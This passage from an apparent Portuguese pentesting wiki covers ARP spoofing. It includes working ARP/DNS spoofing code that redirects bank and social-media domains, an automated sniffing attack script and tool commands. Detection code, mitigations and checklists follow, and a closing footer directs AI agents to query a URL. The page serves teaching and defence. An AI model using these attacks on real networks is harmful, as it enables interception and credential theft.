        rdata = socket.inet_aton(fake_ip)
        
        answer = name + qtype + qclass + ttl + rdlength + rdata
        
        response = transaction_id + flags + qdcount + ancount + nscount + arcount + question + answer
        
        self.dns_sock.sendto(response, addr)
        print(f"   Resposta enviada: {fake_ip}")
    
    def _forward_dns_request(self, data, addr):
        """Encaminhar requisição para DNS real"""
        try:
            # Enviar para DNS real (ex: 8.8.8.8)
            real_dns = ('8.8.8.8', 53)
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.sendto(data, real_dns)
            
            # Aguardar resposta e encaminhar
            response, _ = sock.recvfrom(512)
            self.dns_sock.sendto(response, addr)
            sock.close()
        except:
            pass
    
    def start(self):
        """Iniciar ataque combinado"""
        print(f"🚨 Iniciando ARP + DNS Spoofing")
        print(f"   Vítima: {self.target_ip}")
        print(f"   Gateway: {self.gateway_ip}")
        
        # Iniciar servidor DNS falso em thread
        dns_thread = threading.Thread(target=self.start_dns_server)
        dns_thread.daemon = True
        dns_thread.start()
        
        # Iniciar ARP spoofing
        spoof = ARPSpoofBasic(self.interface, self.target_ip, self.gateway_ip)
        
        try:
            spoof.poison()
        except KeyboardInterrupt:
            print("\n🛑 Encerrando...")
            self.running = False
            spoof.restore()

# Uso
if __name__ == "__main__":
    # Domínios a serem spoofados
    spoofed = {
        'facebook.com': '192.168.1.100',
        'google.com': '192.168.1.100',
        'bank.com': '192.168.1.100'
    }
    
    # attack = ARPDNSSpoof('eth0', '192.168.1.10', '192.168.1.1', spoofed)
    # attack.start()
```

***

## 🛠️ **Ferramentas de Exploração**

### **Ferramentas CLI para ARP Spoofing**

```bash
# arpspoof (dsniff suite)
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1    # Spoof gateway para vítima
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10    # Spoof vítima para gateway

# ettercap (interface gráfica e CLI)
ettercap -T -M arp:remote -i eth0 /192.168.1.10// /192.168.1.1//
ettercap -T -M arp:remote -i eth0 // //         # Todos os hosts

# bettercap (moderno)
bettercap -eval "set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on"
bettercap -eval "set arp.spoof.targets 192.168.1.10; set arp.spoof.internal true; arp.spoof on"

# driftnet (captura imagens)
driftnet -i eth0 -d /tmp/captured_images

# tcpdump para captura
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 -n host 192.168.1.10

# Wireshark CLI (tshark)
tshark -i eth0 -Y "arp" -T fields -e arp.src.proto_ipv4 -e arp.dst.proto_ipv4
```

### **Script de Ataque Automatizado**

```python
#!/usr/bin/env python3
# arp_attack_automated.py - Ataque ARP Spoofing automatizado

import subprocess
import threading
import time
import sys
import signal

class ARPAttackAutomated:
    """Ataque ARP Spoofing totalmente automatizado"""
    
    def __init__(self, interface, target_ip, gateway_ip):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.processes = []
        self.running = True
    
    def start_arpspoof(self):
        """Iniciar arpspoof"""
        print("📡 Iniciando arpspoof...")
        
        cmd1 = f"arpspoof -i {self.interface} -t {self.target_ip} {self.gateway_ip}"
        cmd2 = f"arpspoof -i {self.interface} -t {self.gateway_ip} {self.target_ip}"
        
        proc1 = subprocess.Popen(cmd1.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        proc2 = subprocess.Popen(cmd2.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        
        self.processes.extend([proc1, proc2])
        print(f"✅ ARP spoofing em execução")
    
    def start_sniffing(self):
        """Iniciar captura de tráfego"""
        print("📡 Iniciando captura de tráfego...")
        
        output_file = f"capture_{int(time.time())}.pcap"
        cmd = f"tcpdump -i {self.interface} -w {output_file} host {self.target_ip}"
        
        proc = subprocess.Popen(cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print(f"✅ Captura salva em {output_file}")
    
    def start_ettercap(self):
        """Iniciar ettercap para captura avançada"""
        print("📡 Iniciando ettercap...")
        
        cmd = f"ettercap -T -M arp:remote -i {self.interface} /{self.target_ip}// /{self.gateway_ip}//"
        
        proc = subprocess.Popen(cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print("✅ Ettercap em execução")
    
    def start_driftnet(self):
        """Iniciar driftnet para captura de imagens"""
        print("📸 Iniciando driftnet...")
        
        cmd = f"driftnet -i {self.interface} -d captured_images"
        
        proc = subprocess.Popen(cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print("✅ Driftnet em execução")
    
    def start_urlsnarf(self):
        """Iniciar urlsnarf para captura de URLs"""
        print("🌐 Iniciando urlsnarf...")
        
        cmd = f"urlsnarf -i {self.interface}"
        
        proc = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
        
        # Thread para exibir URLs em tempo real
        def print_urls():
            for line in proc.stdout:
                print(f"🌐 URL: {line.decode().strip()}")
        
        threading.Thread(target=print_urls, daemon=True).start()
        self.processes.append(proc)
        print("✅ Urlsnarf em execução")
    
    def start(self, modules=['arpspoof', 'sniff']):
        """Iniciar ataque com módulos selecionados"""
        print(f"🚨 Iniciando ataque ARP Spoofing automatizado")
        print(f"   Interface: {self.interface}")
        print(f"   Vítima: {self.target_ip}")
        print(f"   Gateway: {self.gateway_ip}")
        print(f"   Módulos: {', '.join(modules)}")
        print("=" * 60)
        
        # Habilitar IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('1')
        print("✅ IP forwarding habilitado")
        
        # Iniciar módulos
        if 'arpspoof' in modules:
            self.start_arpspoof()
        
        if 'sniff' in modules:
            self.start_sniffing()
        
        if 'ettercap' in modules:
            self.start_ettercap()
        
        if 'driftnet' in modules:
            self.start_driftnet()
        
        if 'urlsnarf' in modules:
            self.start_urlsnarf()
        
        print("\n⏳ Ataque em execução... Pressione Ctrl+C para parar")
        
        try:
            while self.running:
                time.sleep(1)
        except KeyboardInterrupt:
            self.stop()
    
    def stop(self):
        """Parar todos os processos e restaurar"""
        print("\n🛑 Parando ataque...")
        self.running = False
        
        for proc in self.processes:
            proc.terminate()
        
        # Restaurar IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('0')
        
        # Limpar tabela ARP
        subprocess.run(['ip', 'neigh', 'flush', 'all'], capture_output=True)
        
        print("✅ Ataque parado e configurações restauradas")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: arp_attack_automated.py <interface> <target_ip> <gateway_ip> [modules]")
        print("Módulos: arpspoof, sniff, ettercap, driftnet, urlsnarf")
        sys.exit(1)
    
    interface = sys.argv[1]
    target = sys.argv[2]
    gateway = sys.argv[3]
    modules = sys.argv[4].split(',') if len(sys.argv) > 4 else ['arpspoof', 'sniff']
    
    attack = ARPAttackAutomated(interface, target, gateway)
    attack.start(modules)
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto do ARP Spoofing:

  🔴 CRÍTICO:
    - Roubo de credenciais (banco, email, corporate)
    - Sequestro de sessão (session hijacking)
    - Injeção de malware em downloads
    - Exfiltração de dados corporativos
    - Comprometimento total da rede local

  🟠 ALTO:
    - Interceptação de comunicações internas
    - DNS spoofing para phishing
    - Redirecionamento para sites maliciosos
    - Captura de dados não criptografados

  🟡 MÉDIO:
    - Monitoramento de atividade de navegação
    - Coleta de informações de rede
    - Denial of Service local

  🔵 BAIXO:
    - Interrupção temporária de conectividade
    - Ruído em monitoramento de rede
```

### **Cenários de Exploração**

```mermaid
graph TD
    A[ARP Spoofing] --> B[Credenciais]
    A --> C[Data Theft]
    A --> D[Session Hijack]
    A --> E[Phishing]
    A --> F[Malware]
    
    B --> B1[FTP/Telnet]
    B --> B2[HTTP Basic Auth]
    B --> B3[IMAP/POP3]
    
    C --> C1[Arquivos em SMB]
    C --> C2[Emails]
    C --> C3[Dados corporativos]
    
    D --> D1[Cookies de sessão]
    D --> D2[Tokens JWT]
    D --> D3[Sessões HTTP]
    
    E --> E1[Páginas falsas]
    E --> E2[Redirecionamento]
    E --> E3[Formulários capturados]
    
    F --> F1[Injeção de JS]
    F --> F2[Download drive-by]
    F --> F3[Backdoor]
    
    style A fill:#ff9999
    style B fill:#ffcccc
    style C fill:#ffcccc
    style D fill:#ffcccc
```

***

## 🔍 **Detecção e Monitoramento**

### **Técnicas de Detecção**

```python
#!/usr/bin/env python3
# arp_detector.py - Detector de ARP Spoofing

import socket
import struct
import time
import threading
from collections import defaultdict

class ARPSpoofDetector:
    """Detector de ataques ARP Spoofing"""
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.arp_table = defaultdict(dict)  # {ip: {'mac': mac, 'last_seen': time}}
        self.alerts = []
        self.running = True
    
    def start_monitoring(self):
        """Iniciar monitoramento ARP"""
        print(f"🔍 Monitorando ARP na interface {self.interface}")
        print("=" * 60)
        
        try:
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806))
            sock.bind((self.interface, 0))
            
            while self.running:
                data, addr = sock.recvfrom(1024)
                self._analyze_arp_packet(data)
                
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            sock.close()
    
    def _analyze_arp_packet(self, data):
        """Analisar pacote ARP"""
        if len(data) < 42:
            return
        
        # Ethernet header
        eth_dst = data[0:6]
        eth_src = data[6:12]
        eth_type = data[12:14]
        
        # ARP header
        arp_htype = struct.unpack('!H', data[14:16])[0]
        arp_ptype = struct.unpack('!H', data[16:18])[0]
        arp_hlen = data[18]
        arp_plen = data[19]
        arp_oper = struct.unpack('!H', data[20:22])[0]
        
        # Sender
        sender_mac = data[22:28]
        sender_ip = socket.inet_ntoa(data[28:32])
        
        # Target
        target_mac = data[32:38]
        target_ip = socket.inet_ntoa(data[38:42])
        
        current_time = time.time()
        
        # Verificar se é ARP Reply (oper=2)
        if arp_oper == 2:
            self._check_spoofing(sender_ip, sender_mac, current_time)
        
        # Verificar gratuitous ARP
        if sender_ip == target_ip:
            self._check_gratuitous_arp(sender_ip, sender_mac, current_time)
    
    def _check_spoofing(self, ip, mac, timestamp):
        """Verificar possível spoofing"""
        mac_str = ':'.join(f'{b:02x}' for b in mac)
        
        if ip in self.arp_table:
            # Verificar se o MAC mudou
            if self.arp_table[ip]['mac'] != mac_str:
                alert = {
                    'type': 'MAC_CHANGE',
                    'ip': ip,
                    'old_mac': self.arp_table[ip]['mac'],
                    'new_mac': mac_str,
                    'timestamp': timestamp
                }
                self.alerts.append(alert)
                self._print_alert(alert)
            
            # Verificar se o mesmo MAC aparece para múltiplos IPs
            for existing_ip, info in self.arp_table.items():
                if existing_ip != ip and info['mac'] == mac_str:
                    alert = {
                        'type': 'DUPLICATE_MAC',
                        'mac': mac_str,
                        'ips': [existing_ip, ip],
                        'timestamp': timestamp
                    }
                    self.alerts.append(alert)
                    self._print_alert(alert)
        
        # Atualizar tabela
        self.arp_table[ip] = {
            'mac': mac_str,
            'last_seen': timestamp
        }
    
    def _check_gratuitous_arp(self, ip, mac, timestamp):
        """Verificar ARP gratuito suspeito"""
        mac_str = ':'.join(f'{b:02x}' for b in mac)
        
        if ip in self.arp_table and self.arp_table[ip]['mac'] != mac_str:
            alert = {
                'type': 'GRATUITOUS_ARP',
                'ip': ip,
                'mac': mac_str,
                'previous_mac': self.arp_table[ip]['mac'],
                'timestamp': timestamp
            }
            self.alerts.append(alert)
            self._print_alert(alert)
    
    def _print_alert(self, alert):
        """Imprimir alerta"""
        timestamp = time.strftime('%H:%M:%S', time.localtime(alert['timestamp']))
        
        if alert['type'] == 'MAC_CHANGE':
            print(f"⚠️  [{timestamp}] MAC CHANGE: {alert['ip']}")
            print(f"     {alert['old_mac']} → {alert['new_mac']}")
        
        elif alert['type'] == 'DUPLICATE_MAC':
            print(f"⚠️  [{timestamp}] DUPLICATE MAC: {alert['mac']}")
            print(f"     IPs: {', '.join(alert['ips'])}")
        
        elif alert['type'] == 'GRATUITOUS_ARP':
            print(f"⚠️  [{timestamp}] GRATUITOUS ARP: {alert['ip']}")
            print(f"     Novo MAC: {alert['mac']}")
    
    def stop(self):
        """Parar monitoramento"""
        self.running = False
        print("\n📊 Relatório de Detecção")
        print("=" * 60)
        print(f"Total de alertas: {len(self.alerts)}")
        
        if self.alerts:
            print("\n⚠️  Possível ataque ARP Spoofing detectado!")
        else:
            print("✅ Nenhuma atividade suspeita detectada")

# Uso
# detector = ARPSpoofDetector('eth0')
# detector.start_monitoring()
```

### **Ferramentas de Detecção**

```bash
# ARPwatch - Monitoramento contínuo
arpwatch -i eth0
arpwatch -i eth0 -f /var/lib/arpwatch/arp.dat

# ARPAlert - Alertas personalizados
arpalert -i eth0

# Wireshark - Filtros para detectar
tshark -i eth0 -Y "arp.duplicate-address-detected" -T fields -e arp.src.proto_ipv4

# Detectar gratuitous ARP
tcpdump -i eth0 -n 'arp[6:2] = 2 and arp[14:4] = arp[24:4]'

# Detectar múltiplos IPs para mesmo MAC
tcpdump -i eth0 -n 'arp' -e | grep -o '([0-9a-f:]{17})' | sort | uniq -c | sort -rn

# Script personalizado
python3 -c "
from scapy.all import *
def detect_arp(pkt):
    if ARP in pkt and pkt[ARP].op == 2:
        print(f'ARP Reply: {pkt[ARP].psrc} -> {pkt[ARP].hwsrc}')
sniff(filter='arp', prn=detect_arp, store=0)
"
```

***

## 🛡️ **Mitigações e Controles**

### **Configurações de Segurança**

#### **Cisco Switch - Dynamic ARP Inspection (DAI)**

```cisco
! Habilitar DAI globalmente
ip arp inspection vlan 1-100

! Configurar trusted ports
interface GigabitEthernet0/1
 ip arp inspection trust

! Verificar estatísticas
show ip arp inspection statistics
show ip arp inspection interfaces

! Configurar rate limiting
ip arp inspection limit rate 15 burst interval 1
```

#### **Port Security**

```cisco
! Configurar port security
interface GigabitEthernet0/1
 switchport port-security
 switchport port-security maximum 1
 switchport port-security violation shutdown
 switchport port-security mac-address sticky
```

#### **Linux - ARP Filtering**

```bash
# /etc/sysctl.conf - ARP filtering
net.ipv4.conf.all.arp_filter = 1
net.ipv4.conf.all.arp_ignore = 1
net.ipv4.conf.all.arp_announce = 2
net.ipv4.conf.default.arp_filter = 1

# Aplicar configurações
sysctl -p

# ARP table protection
echo 1 > /proc/sys/net/ipv4/conf/all/arp_filter
```

#### **iptables para Limitar ARP**

```bash
# Bloquear ARP não solicitado (gratuitous)
iptables -A INPUT -p 0x0806 -m mac ! --mac-source 00:11:22:33:44:55 -j DROP

# Logging de ARP suspeitos
iptables -A INPUT -p 0x0806 -m limit --limit 10/minute -j LOG --log-prefix "ARP: "

# Rate limiting de ARP
iptables -A INPUT -p 0x0806 -m limit --limit 5/second -j ACCEPT
iptables -A INPUT -p 0x0806 -j DROP
```

### **Configuração de Entradas ARP Estáticas**

```bash
# Linux - ARP estático
arp -s 192.168.1.1 00:11:22:33:44:55
ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent

# Windows - ARP estático
arp -s 192.168.1.1 00-11-22-33-44-55

# MacOS - ARP estático
arp -s 192.168.1.1 00:11:22:33:44:55

# Tornar persistente (Linux)
# Adicionar ao /etc/ethers
echo "00:11:22:33:44:55 192.168.1.1" >> /etc/ethers
```

### **Segmentação de Rede**

```yaml
Práticas de Segmentação:
  
  VLANs:
    - Isolar departamentos diferentes
    - Separar servidores críticos
    - Redes de convidados isoladas
  
  Private VLANs:
    - PVLAN para isolamento entre hosts
    - Portas isoladas para servidores
  
  ACLs de VLAN:
    - Controlar tráfego entre VLANs
    - Bloquear ARP cross-VLAN
  
  802.1X (NAC):
    - Autenticação de dispositivos
    - Controle de acesso baseado em identidade
```

***

## 🎯 **Pentesting com ARP Spoofing**

### **Metodologia de Teste**

```yaml
Fases do Teste ARP Spoofing:

  FASE 1 - Reconhecimento:
    - Identificar rede alvo
    - Mapear hosts ativos (nmap, arp-scan)
    - Identificar gateway e dispositivos críticos
    - Documentar MAC addresses legítimos

  FASE 2 - Preparação:
    - Habilitar IP forwarding
    - Configurar ferramentas (arpspoof, ettercap)
    - Preparar servidor DNS falso (se aplicável)
    - Configurar captura de tráfego

  FASE 3 - Execução:
    - Iniciar ARP spoofing bidirecional
    - Capturar tráfego (tcpdump, wireshark)
    - Extrair credenciais (dsniff, bettercap)
    - Testar DNS spoofing (se autorizado)

  FASE 4 - Validação:
    - Verificar sucesso do ataque
    - Coletar evidências
    - Documentar impacto
    - Restaurar tabelas ARP

  FASE 5 - Relatório:
    - Documentar vulnerabilidades
    - Recomendar mitigações
    - Detalhar impacto potencial
```

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# arp_pentest.py - Script de pentest ARP Spoofing

import subprocess
import socket
import time
import sys

class ARPPenTest:
    """Script automatizado para teste de ARP Spoofing"""
    
    def __init__(self, interface, target_network):
        self.interface = interface
        self.target_network = target_network
        self.hosts = []
        self.gateway = None
    
    def discover_network(self):
        """Descobrir hosts na rede"""
        print(f"🔍 Descobrindo hosts em {self.target_network}")
        
        try:
            # Usar arp-scan
            result = subprocess.run(
                ['arp-scan', '--localnet', '--interface', self.interface],
                capture_output=True, text=True, timeout=30
            )
            
            for line in result.stdout.split('\n'):
                if '.' in line and ':' in line:
                    parts = line.split()
                    if len(parts) >= 3:
                        ip = parts[0]
                        mac = parts[1]
                        vendor = ' '.join(parts[2:])
                        self.hosts.append({
                            'ip': ip,
                            'mac': mac,
                            'vendor': vendor
                        })
            
            print(f"✅ {len(self.hosts)} hosts encontrados")
            
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def identify_gateway(self):
        """Identificar gateway da rede"""
        try:
            result = subprocess.run(['ip', 'route', 'show', 'default'], 
                                    capture_output=True, text=True)
            if result.stdout:
                self.gateway = result.stdout.split()[2]
                print(f"🌐 Gateway detectado: {self.gateway}")
        except:
            print("⚠️  Não foi possível identificar gateway")
    
    def test_arp_vulnerability(self, target_ip):
        """Testar vulnerabilidade a ARP spoofing"""
        print(f"\n🧪 Testando ARP vulnerability para {target_ip}")
        
        try:
            # Verificar se há defesas ativas
            # Tentar enviar ARP reply não solicitado
            cmd = f"arpspoof -c 1 -i {self.interface} -t {target_ip} {self.gateway} -r"
            result = subprocess.run(cmd.split(), capture_output=True, text=True, timeout=5)
            
            # Verificar resposta
            if "ARP" in result.stderr:
                print(f"   ✅ Host responde a ARP não solicitado (vulnerável)")
                return True
            else:
                print(f"   ⚠️  Host pode ter proteção ARP")
                return False
                
        except subprocess.TimeoutExpired:
            print(f"   ✅ Timeout - possível proteção DAI")
            return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def simulate_attack(self, target_ip):
        """Simular ataque (apenas com autorização)"""
        print(f"\n🚨 Simulando ataque ARP spoofing contra {target_ip}")
        print("   (APENAS EM AMBIENTE AUTORIZADO)")
        
        confirm = input("   Confirmar simulação? (s/N): ")
        if confirm.lower() != 's':
            print("   ❌ Simulação cancelada")
            return
        
        # Habilitar forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('1')
        
        try:
            # Iniciar arpspoof
            cmd1 = f"arpspoof -i {self.interface} -t {target_ip} {self.gateway}"
            cmd2 = f"arpspoof -i {self.interface} -t {self.gateway} {target_ip}"
            
            proc1 = subprocess.Popen(cmd1.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            proc2 = subprocess.Popen(cmd2.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            
            print(f"✅ ARP spoofing em execução por 30 segundos...")
            time.sleep(30)
            
            proc1.terminate()
            proc2.terminate()
            
            # Restaurar
            subprocess.run(['ip', 'neigh', 'flush', 'all'], capture_output=True)
            print("✅ Simulação concluída e tabelas restauradas")
            
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('0')
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST ARP SPOOFING")
        print("=" * 70)
        print(f"Interface: {self.interface}")
        print(f"Rede: {self.target_network}")
        print(f"Gateway: {self.gateway or 'Não identificado'}")
        print(f"Total de hosts: {len(self.hosts)}")
        print("\n📋 Hosts encontrados:")
        print("-" * 70)
        print(f"{'IP':<16} {'MAC':<18} {'Vendor'}")
        print("-" * 70)
        
        for host in self.hosts[:20]:
            print(f"{host['ip']:<16} {host['mac']:<18} {host['vendor'][:30]}")
        
        print("\n🎯 Recomendações:")
        print("   • Habilitar Dynamic ARP Inspection (DAI) nos switches")
        print("   • Configurar port security para limitar MACs por porta")
        print("   • Utilizar 802.1X para autenticação de dispositivos")
        print("   • Segmentar rede com VLANs")
        print("   • Monitorar tráfego ARP com ferramentas como arpwatch")
        print("   • Implementar entradas ARP estáticas para dispositivos críticos")
        print("   • Utilizar criptografia end-to-end (TLS, VPN) para dados sensíveis")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: arp_pentest.py <interface> <target_network>")
        print("Exemplo: arp_pentest.py eth0 192.168.1.0/24")
        sys.exit(1)
    
    pentest = ARPPenTest(sys.argv[1], sys.argv[2])
    pentest.discover_network()
    pentest.identify_gateway()
    
    if pentest.hosts:
        # Testar vulnerabilidade no primeiro host
        pentest.test_arp_vulnerability(pentest.hosts[0]['ip'])
        
        # Perguntar se deseja simular ataque
        print("\n" + "=" * 70)
        print("⚠️  SIMULAÇÃO DE ATAQUE - APENAS COM AUTORIZAÇÃO")
        print("=" * 70)
        simulate = input("Deseja simular um ataque ARP spoofing? (s/N): ")
        
        if simulate.lower() == 's':
            target = input(f"IP alvo (default: {pentest.hosts[0]['ip']}): ").strip()
            if not target:
                target = pentest.hosts[0]['ip']
            pentest.simulate_attack(target)
    
    pentest.generate_report()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração de Switches**

* [ ] Habilitar Dynamic ARP Inspection (DAI)
* [ ] Configurar trusted ports para uplinks e servidores
* [ ] Habilitar port security com limite de MACs
* [ ] Configurar DHCP snooping
* [ ] Implementar VLANs para segmentação
* [ ] Desabilitar gratuitous ARP desnecessários

#### **Configuração de Hosts**

* [ ] Configurar ARP estático para dispositivos críticos
* [ ] Habilitar ARP filtering em servidores Linux
* [ ] Utilizar firewalls com regras para ARP
* [ ] Implementar 802.1X (NAC)
* [ ] Atualizar firmware de switches e roteadores

#### **Monitoramento**

* [ ] Implementar arpwatch ou similar
* [ ] Configurar alertas para mudanças de MAC
* [ ] Monitorar logs de switches (DAI violations)
* [ ] Realizar auditorias periódicas de tabela ARP
* [ ] Analisar tráfego ARP anormal

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar rede alvo
* [ ] Mapear hosts ativos (arp-scan, nmap)
* [ ] Identificar gateway e dispositivos críticos
* [ ] Documentar MACs legítimos
* [ ] Verificar se há proteções (DAI, port security)

#### **Execução (com autorização)**

* [ ] Habilitar IP forwarding
* [ ] Iniciar arpspoof bidirecional
* [ ] Capturar tráfego com tcpdump
* [ ] Extrair credenciais (dsniff, ettercap)
* [ ] Testar DNS spoofing se aplicável

#### **Documentação**

* [ ] Registrar hosts vulneráveis
* [ ] Documentar credenciais capturadas
* [ ] Mapear tráfego interceptado
* [ ] Recomendar mitigações específicas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
ARP Spoofing é uma técnica de MITM clássica:
  
  ✅ Pode ser prevenida com:
    - Dynamic ARP Inspection (DAI)
    - Port security
    - Segmentação de rede (VLANs)
    - ARP estático para dispositivos críticos
  
  🔴 Consequências:
    - Roubo de credenciais
    - Sequestro de sessão
    - Injeção de malware
    - Exfiltração de dados
  
  🎯 Prioridade de correção:
    - CRÍTICA para redes com dados sensíveis
    - ALTA para ambientes corporativos
    - MÉDIA para redes internas
```

### **Boas Práticas Essenciais**

1. **Dynamic ARP Inspection (DAI)**
   * Implementar em todos os switches de acesso
   * Configurar trusted ports corretamente
   * Monitorar violações de DAI
2. **Port Security**
   * Limitar número de MACs por porta
   * Configurar ação de violação (shutdown)
   * Usar sticky MAC para dispositivos fixos
3. **Segmentação de Rede**
   * Isolar VLANs por departamento
   * Separar servidores críticos
   * Redes de convidados isoladas
4. **Monitoramento Contínuo**
   * Implementar arpwatch
   * Centralizar logs de switches
   * Alertas para mudanças suspeitas
5. **Criptografia End-to-End**
   * Forçar HTTPS/TLS
   * Utilizar VPN para acesso externo
   * Criptografar dados sensíveis

### **Frameworks e Ferramentas de Proteção**

| Ferramenta         | Função                  | Nível        |
| ------------------ | ----------------------- | ------------ |
| **DAI (Cisco)**    | Validação ARP no switch | Switch       |
| **arpwatch**       | Monitoramento de ARP    | Host/Server  |
| **fail2ban**       | Bloqueio de ataques     | Host         |
| **Snort/Suricata** | IDS para ARP anomalies  | Rede         |
| **Wazuh**          | SIEM com regras ARP     | Centralizado |

### **Referências e Padrões**

* **RFC 826** - Ethernet Address Resolution Protocol
* **IEEE 802.1X** - Port-Based Network Access Control
* **Cisco DAI** - Dynamic ARP Inspection Configuration Guide
* **OWASP** - Testing for ARP Spoofing
* **NIST SP 800-53** - Access Control and Monitoring


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/arp-spoofing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
